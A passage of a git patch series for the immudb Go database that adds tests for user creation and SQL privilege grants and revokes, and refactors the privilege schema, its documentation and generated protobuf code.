"github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" @@ -257,6 +259,123 @@ func TestServerUsermanagement(t *testing.T) { testServerListUsers(ctx, s, t) } +func TestServerCreateUser(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword) + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + + s.Initialize() + + ctx, err := loginAsUser(s, auth.SysAdminUsername, auth.SysAdminPassword) + require.NoError(t, err) + + newdb := &schema.DatabaseSettings{ + DatabaseName: testDatabase, + } + _, err = s.CreateDatabaseWith(ctx, newdb) + require.NoError(t, err) + + _, err = s.CreateUser(ctx, &schema.CreateUserRequest{ + User: testUsername, + Password: testPassword, + Database: testDatabase, + Permission: auth.PermissionR, + }) + require.NoError(t, err) + + _, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ + Action: schema.PermissionAction_GRANT, + Username: string(testUsername), + Database: testDatabase, + Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_UPDATE}, + }) + require.NoError(t, err) + + users, err := s.ListUsers(ctx, &emptypb.Empty{}) + require.NoError(t, err) + require.Len(t, users.Users, 2) + + u := users.Users[1] + require.Equal(t, string(u.User), string(testUsername)) + require.Equal(t, u.SqlPrivileges, []schema.SQLPrivilege{schema.SQLPrivilege_SELECT, schema.SQLPrivilege_UPDATE}) + + userCtx, err := loginAsUser(s, string(testUsername), string(testPassword)) + require.NoError(t, err) + + _, err = s.ChangeSQLPrivileges(userCtx, &schema.ChangeSQLPrivilegesRequest{ + Action: schema.PermissionAction_REVOKE, + Username: string(testUsername), + Database: testDatabase, + Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_SELECT}, + }) + require.ErrorContains(t, err, "changing your own privileges is not allowed") + + _, err = s.ChangeSQLPrivileges(userCtx, &schema.ChangeSQLPrivilegesRequest{ + Action: schema.PermissionAction_REVOKE, + Username: auth.SysAdminUsername, + Database: testDatabase, + Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_SELECT}, + }) + require.ErrorContains(t, err, "changing sysadmin privileges is not allowed") + + _, err = s.SQLExec(ctx, &schema.SQLExecRequest{Sql: fmt.Sprintf("REVOKE ALL PRIVILEGES ON DATABASE %s TO USER %s", testDatabase, string(testUsername))}) + require.NoError(t, err) + + _, err = s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{ + Action: schema.PermissionAction_REVOKE, + Username: string(testUsername), + Database: testDatabase, + Privileges: []schema.SQLPrivilege{schema.SQLPrivilege_SELECT, schema.SQLPrivilege_UPDATE}, + }) + require.NoError(t, err) + + users, err = s.ListUsers(ctx, &emptypb.Empty{}) + require.NoError(t, err) + require.Len(t, users.Users, 2) + + u = users.Users[1] + require.Equal(t, string(u.User), string(testUsername)) + require.Empty(t, u.SqlPrivileges) + + userCtx, err = loginAsUser(s, string(testUsername), string(testPassword)) // should login again after chaing permissions + require.NoError(t, err) + + reply, err := s.UseDatabase(userCtx, &schema.Database{DatabaseName: testDatabase}) + require.NoError(t, err) + + md := metadata.Pairs("authorization", reply.Token) + userCtx = metadata.NewIncomingContext(context.Background(), md) + + _, err = s.UnarySQLQuery(userCtx, &schema.SQLQueryRequest{Sql: "SELECT * FROM mytable"}) + require.ErrorIs(t, err, sql.ErrAccessDenied) +} + +func TestUnmarshalUserWithNoPrivileges(t *testing.T) { + u, err := unmarshalSchemaUser([]byte(`{"hasPrivileges": false, "permissions": [{"permission": 1, "database": "immudb"}]}`)) + require.NoError(t, err) + require.Equal(t, u.SqlPrivileges, []schema.SQLPrivilege{schema.SQLPrivilege_SELECT}) +} + +func loginAsUser(s *ImmuServer, username, password string) (context.Context, error) { + r := &schema.LoginRequest{ + User: []byte(username), + Password: []byte(password), + } + ctx := context.Background() + lr, err := s.Login(ctx, r) + if err != nil { + return nil, err + } + + md := metadata.Pairs("authorization", lr.Token) + return metadata.NewIncomingContext(context.Background(), md), nil +} + func testServerCreateUser(ctx context.Context, s *ImmuServer, t *testing.T) { newUser := &schema.CreateUserRequest{ User: testUsername, From 08344093d210bb84d01799c1355cad30bfece543 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 25 Jul 2024 13:36:56 +0200 Subject: [PATCH 1040/1062] Refactor SQL privileges - Ensure backward compatibility; - Include database name in schema type; Signed-off-by: Stefano Scafiti --- embedded/sql/engine.go | 6 +- embedded/sql/stmt.go | 20 +- pkg/api/schema/docs.md | 38 +- pkg/api/schema/schema.pb.go | 4878 ++++++++++++++-------------- pkg/api/schema/schema.proto | 19 +- pkg/api/schema/schema.swagger.json | 27 +- pkg/api/schema/sql.go | 41 - pkg/auth/user.go | 21 + pkg/server/multidb_handler.go | 51 +- pkg/server/user.go | 83 +- pkg/server/user_test.go | 30 +- 11 files changed, 2602 insertions(+), 2612 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 882a8c7f2b..cb1da140c1 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -535,12 +535,8 @@ func (e *Engine) checkUserPermissions(ctx context.Context, stmt SQLStmt) error { return err } - if user.Permission() == PermissionAdmin { - return nil - } - if !stmt.readOnly() && user.Permission() == PermissionReadOnly { - return ErrAccessDenied + return fmt.Errorf("%w: statement requires %s permission", ErrAccessDenied, PermissionReadWrite) } requiredPrivileges := stmt.requiredPrivileges() diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index f8fe678f4f..e7bdd69410 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -97,6 +97,24 @@ const ( PermissionSysAdmin Permission = "SYSADMIN" ) +func PermissionFromCode(code uint32) Permission { + switch code { + case 1: + { + return PermissionReadOnly + } + case 2: + { + return PermissionReadWrite + } + case 254: + { + return PermissionAdmin + } + } + return PermissionSysAdmin +} + type AggregateFn = string const ( @@ -5475,7 +5493,7 @@ var allPrivileges = []SQLPrivilege{ func DefaultSQLPrivilegesForPermission(p Permission) []SQLPrivilege { switch p { - case PermissionSysAdmin, PermissionAdmin, PermissionReadWrite: // should also contain GRANT/REVOKE + case PermissionSysAdmin, PermissionAdmin, PermissionReadWrite: return allPrivileges case PermissionReadOnly: return []SQLPrivilege{SQLPrivilegeSelect} diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 7736a4cf5e..807b911f18 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -91,6 +91,7 @@ - [SQLExecRequest](#immudb.schema.SQLExecRequest) - [SQLExecResult](#immudb.schema.SQLExecResult) - [SQLGetRequest](#immudb.schema.SQLGetRequest) + - [SQLPrivilege](#immudb.schema.SQLPrivilege) - [SQLQueryRequest](#immudb.schema.SQLQueryRequest) - [SQLQueryResult](#immudb.schema.SQLQueryResult) - [SQLValue](#immudb.schema.SQLValue) @@ -142,7 +143,6 @@ - [EntryTypeAction](#immudb.schema.EntryTypeAction) - [PermissionAction](#immudb.schema.PermissionAction) - - [SQLPrivilege](#immudb.schema.SQLPrivilege) - [TxMode](#immudb.schema.TxMode) - [ImmuService](#immudb.schema.ImmuService) @@ -235,7 +235,7 @@ DEPRECATED | action | [PermissionAction](#immudb.schema.PermissionAction) | | Action to perform | | username | [string](#string) | | Name of the user to update | | database | [string](#string) | | Name of the database | -| privileges | [SQLPrivilege](#immudb.schema.SQLPrivilege) | repeated | SQL privileges to grant / revoke | +| privileges | [string](#string) | repeated | SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER | @@ -1633,6 +1633,22 @@ Only succeed if given key was not modified after given transaction + + +### SQLPrivilege + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| database | [string](#string) | | Database name | +| privilege | [string](#string) | | Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER | + + + + + + ### SQLQueryRequest @@ -2488,24 +2504,6 @@ Reserved to reply with more advanced response later - - -### SQLPrivilege - - -| Name | Number | Description | -| ---- | ------ | ----------- | -| UNKNOWN | 0 | | -| SELECT | 1 | | -| CREATE | 2 | | -| INSERT | 3 | | -| UPDATE | 4 | | -| DELETE | 5 | | -| DROP | 6 | | -| ALTER | 7 | | - - - ### TxMode diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index bcbaf021fb..1200d09269 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -39,70 +39,6 @@ const ( _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) -type SQLPrivilege int32 - -const ( - SQLPrivilege_UNKNOWN SQLPrivilege = 0 - SQLPrivilege_SELECT SQLPrivilege = 1 - SQLPrivilege_CREATE SQLPrivilege = 2 - SQLPrivilege_INSERT SQLPrivilege = 3 - SQLPrivilege_UPDATE SQLPrivilege = 4 - SQLPrivilege_DELETE SQLPrivilege = 5 - SQLPrivilege_DROP SQLPrivilege = 6 - SQLPrivilege_ALTER SQLPrivilege = 7 -) - -// Enum value maps for SQLPrivilege. -var ( - SQLPrivilege_name = map[int32]string{ - 0: "UNKNOWN", - 1: "SELECT", - 2: "CREATE", - 3: "INSERT", - 4: "UPDATE", - 5: "DELETE", - 6: "DROP", - 7: "ALTER", - } - SQLPrivilege_value = map[string]int32{ - "UNKNOWN": 0, - "SELECT": 1, - "CREATE": 2, - "INSERT": 3, - "UPDATE": 4, - "DELETE": 5, - "DROP": 6, - "ALTER": 7, - } -) - -func (x SQLPrivilege) Enum() *SQLPrivilege { - p := new(SQLPrivilege) - *p = x - return p -} - -func (x SQLPrivilege) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (SQLPrivilege) Descriptor() protoreflect.EnumDescriptor { - return file_schema_proto_enumTypes[0].Descriptor() -} - -func (SQLPrivilege) Type() protoreflect.EnumType { - return &file_schema_proto_enumTypes[0] -} - -func (x SQLPrivilege) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use SQLPrivilege.Descriptor instead. -func (SQLPrivilege) EnumDescriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{0} -} - type EntryTypeAction int32 const ( @@ -143,11 +79,11 @@ func (x EntryTypeAction) String() string { } func (EntryTypeAction) Descriptor() protoreflect.EnumDescriptor { - return file_schema_proto_enumTypes[1].Descriptor() + return file_schema_proto_enumTypes[0].Descriptor() } func (EntryTypeAction) Type() protoreflect.EnumType { - return &file_schema_proto_enumTypes[1] + return &file_schema_proto_enumTypes[0] } func (x EntryTypeAction) Number() protoreflect.EnumNumber { @@ -156,7 +92,7 @@ func (x EntryTypeAction) Number() protoreflect.EnumNumber { // Deprecated: Use EntryTypeAction.Descriptor instead. func (EntryTypeAction) EnumDescriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{1} + return file_schema_proto_rawDescGZIP(), []int{0} } type PermissionAction int32 @@ -191,11 +127,11 @@ func (x PermissionAction) String() string { } func (PermissionAction) Descriptor() protoreflect.EnumDescriptor { - return file_schema_proto_enumTypes[2].Descriptor() + return file_schema_proto_enumTypes[1].Descriptor() } func (PermissionAction) Type() protoreflect.EnumType { - return &file_schema_proto_enumTypes[2] + return &file_schema_proto_enumTypes[1] } func (x PermissionAction) Number() protoreflect.EnumNumber { @@ -204,7 +140,7 @@ func (x PermissionAction) Number() protoreflect.EnumNumber { // Deprecated: Use PermissionAction.Descriptor instead. func (PermissionAction) EnumDescriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{2} + return file_schema_proto_rawDescGZIP(), []int{1} } type TxMode int32 @@ -243,11 +179,11 @@ func (x TxMode) String() string { } func (TxMode) Descriptor() protoreflect.EnumDescriptor { - return file_schema_proto_enumTypes[3].Descriptor() + return file_schema_proto_enumTypes[2].Descriptor() } func (TxMode) Type() protoreflect.EnumType { - return &file_schema_proto_enumTypes[3] + return &file_schema_proto_enumTypes[2] } func (x TxMode) Number() protoreflect.EnumNumber { @@ -256,7 +192,7 @@ func (x TxMode) Number() protoreflect.EnumNumber { // Deprecated: Use TxMode.Descriptor instead. func (TxMode) EnumDescriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{3} + return file_schema_proto_rawDescGZIP(), []int{2} } type Key struct { @@ -379,7 +315,7 @@ type User struct { // Flag indicating whether the user is active or not Active bool `protobuf:"varint,6,opt,name=active,proto3" json:"active,omitempty"` // List of SQL privileges - SqlPrivileges []SQLPrivilege `protobuf:"varint,7,rep,packed,name=sqlPrivileges,proto3,enum=immudb.schema.SQLPrivilege" json:"sqlPrivileges,omitempty"` + SqlPrivileges []*SQLPrivilege `protobuf:"bytes,7,rep,name=sqlPrivileges,proto3" json:"sqlPrivileges,omitempty"` } func (x *User) Reset() { @@ -449,13 +385,70 @@ func (x *User) GetActive() bool { return false } -func (x *User) GetSqlPrivileges() []SQLPrivilege { +func (x *User) GetSqlPrivileges() []*SQLPrivilege { if x != nil { return x.SqlPrivileges } return nil } +type SQLPrivilege struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Database name + Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` + // Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER + Privilege string `protobuf:"bytes,2,opt,name=privilege,proto3" json:"privilege,omitempty"` +} + +func (x *SQLPrivilege) Reset() { + *x = SQLPrivilege{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *SQLPrivilege) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*SQLPrivilege) ProtoMessage() {} + +func (x *SQLPrivilege) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use SQLPrivilege.ProtoReflect.Descriptor instead. +func (*SQLPrivilege) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{3} +} + +func (x *SQLPrivilege) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +func (x *SQLPrivilege) GetPrivilege() string { + if x != nil { + return x.Privilege + } + return "" +} + type UserList struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -468,7 +461,7 @@ type UserList struct { func (x *UserList) Reset() { *x = UserList{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[3] + mi := &file_schema_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -481,7 +474,7 @@ func (x *UserList) String() string { func (*UserList) ProtoMessage() {} func (x *UserList) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[3] + mi := &file_schema_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -494,7 +487,7 @@ func (x *UserList) ProtoReflect() protoreflect.Message { // Deprecated: Use UserList.ProtoReflect.Descriptor instead. func (*UserList) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{3} + return file_schema_proto_rawDescGZIP(), []int{4} } func (x *UserList) GetUsers() []*User { @@ -522,7 +515,7 @@ type CreateUserRequest struct { func (x *CreateUserRequest) Reset() { *x = CreateUserRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[4] + mi := &file_schema_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -535,7 +528,7 @@ func (x *CreateUserRequest) String() string { func (*CreateUserRequest) ProtoMessage() {} func (x *CreateUserRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[4] + mi := &file_schema_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -548,7 +541,7 @@ func (x *CreateUserRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateUserRequest.ProtoReflect.Descriptor instead. func (*CreateUserRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{4} + return file_schema_proto_rawDescGZIP(), []int{5} } func (x *CreateUserRequest) GetUser() []byte { @@ -591,7 +584,7 @@ type UserRequest struct { func (x *UserRequest) Reset() { *x = UserRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[5] + mi := &file_schema_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -604,7 +597,7 @@ func (x *UserRequest) String() string { func (*UserRequest) ProtoMessage() {} func (x *UserRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[5] + mi := &file_schema_proto_msgTypes[6] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -617,7 +610,7 @@ func (x *UserRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UserRequest.ProtoReflect.Descriptor instead. func (*UserRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{5} + return file_schema_proto_rawDescGZIP(), []int{6} } func (x *UserRequest) GetUser() []byte { @@ -643,7 +636,7 @@ type ChangePasswordRequest struct { func (x *ChangePasswordRequest) Reset() { *x = ChangePasswordRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[6] + mi := &file_schema_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -656,7 +649,7 @@ func (x *ChangePasswordRequest) String() string { func (*ChangePasswordRequest) ProtoMessage() {} func (x *ChangePasswordRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[6] + mi := &file_schema_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -669,7 +662,7 @@ func (x *ChangePasswordRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ChangePasswordRequest.ProtoReflect.Descriptor instead. func (*ChangePasswordRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{6} + return file_schema_proto_rawDescGZIP(), []int{7} } func (x *ChangePasswordRequest) GetUser() []byte { @@ -707,7 +700,7 @@ type LoginRequest struct { func (x *LoginRequest) Reset() { *x = LoginRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[7] + mi := &file_schema_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -720,7 +713,7 @@ func (x *LoginRequest) String() string { func (*LoginRequest) ProtoMessage() {} func (x *LoginRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[7] + mi := &file_schema_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -733,7 +726,7 @@ func (x *LoginRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. func (*LoginRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{7} + return file_schema_proto_rawDescGZIP(), []int{8} } func (x *LoginRequest) GetUser() []byte { @@ -764,7 +757,7 @@ type LoginResponse struct { func (x *LoginResponse) Reset() { *x = LoginResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[8] + mi := &file_schema_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -777,7 +770,7 @@ func (x *LoginResponse) String() string { func (*LoginResponse) ProtoMessage() {} func (x *LoginResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[8] + mi := &file_schema_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -790,7 +783,7 @@ func (x *LoginResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use LoginResponse.ProtoReflect.Descriptor instead. func (*LoginResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{8} + return file_schema_proto_rawDescGZIP(), []int{9} } func (x *LoginResponse) GetToken() string { @@ -819,7 +812,7 @@ type AuthConfig struct { func (x *AuthConfig) Reset() { *x = AuthConfig{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[9] + mi := &file_schema_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -832,7 +825,7 @@ func (x *AuthConfig) String() string { func (*AuthConfig) ProtoMessage() {} func (x *AuthConfig) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[9] + mi := &file_schema_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -845,7 +838,7 @@ func (x *AuthConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use AuthConfig.ProtoReflect.Descriptor instead. func (*AuthConfig) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{9} + return file_schema_proto_rawDescGZIP(), []int{10} } func (x *AuthConfig) GetKind() uint32 { @@ -867,7 +860,7 @@ type MTLSConfig struct { func (x *MTLSConfig) Reset() { *x = MTLSConfig{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[10] + mi := &file_schema_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -880,7 +873,7 @@ func (x *MTLSConfig) String() string { func (*MTLSConfig) ProtoMessage() {} func (x *MTLSConfig) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[10] + mi := &file_schema_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -893,7 +886,7 @@ func (x *MTLSConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use MTLSConfig.ProtoReflect.Descriptor instead. func (*MTLSConfig) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{10} + return file_schema_proto_rawDescGZIP(), []int{11} } func (x *MTLSConfig) GetEnabled() bool { @@ -919,7 +912,7 @@ type OpenSessionRequest struct { func (x *OpenSessionRequest) Reset() { *x = OpenSessionRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[11] + mi := &file_schema_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -932,7 +925,7 @@ func (x *OpenSessionRequest) String() string { func (*OpenSessionRequest) ProtoMessage() {} func (x *OpenSessionRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[11] + mi := &file_schema_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -945,7 +938,7 @@ func (x *OpenSessionRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenSessionRequest.ProtoReflect.Descriptor instead. func (*OpenSessionRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{11} + return file_schema_proto_rawDescGZIP(), []int{12} } func (x *OpenSessionRequest) GetUsername() []byte { @@ -983,7 +976,7 @@ type OpenSessionResponse struct { func (x *OpenSessionResponse) Reset() { *x = OpenSessionResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[12] + mi := &file_schema_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -996,7 +989,7 @@ func (x *OpenSessionResponse) String() string { func (*OpenSessionResponse) ProtoMessage() {} func (x *OpenSessionResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[12] + mi := &file_schema_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1009,7 +1002,7 @@ func (x *OpenSessionResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenSessionResponse.ProtoReflect.Descriptor instead. func (*OpenSessionResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{12} + return file_schema_proto_rawDescGZIP(), []int{13} } func (x *OpenSessionResponse) GetSessionID() string { @@ -1042,7 +1035,7 @@ type Precondition struct { func (x *Precondition) Reset() { *x = Precondition{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[13] + mi := &file_schema_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1055,7 +1048,7 @@ func (x *Precondition) String() string { func (*Precondition) ProtoMessage() {} func (x *Precondition) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[13] + mi := &file_schema_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1068,7 +1061,7 @@ func (x *Precondition) ProtoReflect() protoreflect.Message { // Deprecated: Use Precondition.ProtoReflect.Descriptor instead. func (*Precondition) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{13} + return file_schema_proto_rawDescGZIP(), []int{14} } func (m *Precondition) GetPrecondition() isPrecondition_Precondition { @@ -1134,7 +1127,7 @@ type KeyValue struct { func (x *KeyValue) Reset() { *x = KeyValue{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[14] + mi := &file_schema_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1147,7 +1140,7 @@ func (x *KeyValue) String() string { func (*KeyValue) ProtoMessage() {} func (x *KeyValue) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[14] + mi := &file_schema_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1160,7 +1153,7 @@ func (x *KeyValue) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyValue.ProtoReflect.Descriptor instead. func (*KeyValue) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{14} + return file_schema_proto_rawDescGZIP(), []int{15} } func (x *KeyValue) GetKey() []byte { @@ -1208,7 +1201,7 @@ type Entry struct { func (x *Entry) Reset() { *x = Entry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[15] + mi := &file_schema_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1221,7 +1214,7 @@ func (x *Entry) String() string { func (*Entry) ProtoMessage() {} func (x *Entry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[15] + mi := &file_schema_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1234,7 +1227,7 @@ func (x *Entry) ProtoReflect() protoreflect.Message { // Deprecated: Use Entry.ProtoReflect.Descriptor instead. func (*Entry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{15} + return file_schema_proto_rawDescGZIP(), []int{16} } func (x *Entry) GetTx() uint64 { @@ -1306,7 +1299,7 @@ type Reference struct { func (x *Reference) Reset() { *x = Reference{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[16] + mi := &file_schema_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1319,7 +1312,7 @@ func (x *Reference) String() string { func (*Reference) ProtoMessage() {} func (x *Reference) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[16] + mi := &file_schema_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1332,7 +1325,7 @@ func (x *Reference) ProtoReflect() protoreflect.Message { // Deprecated: Use Reference.ProtoReflect.Descriptor instead. func (*Reference) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{16} + return file_schema_proto_rawDescGZIP(), []int{17} } func (x *Reference) GetTx() uint64 { @@ -1386,7 +1379,7 @@ type Op struct { func (x *Op) Reset() { *x = Op{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[17] + mi := &file_schema_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1399,7 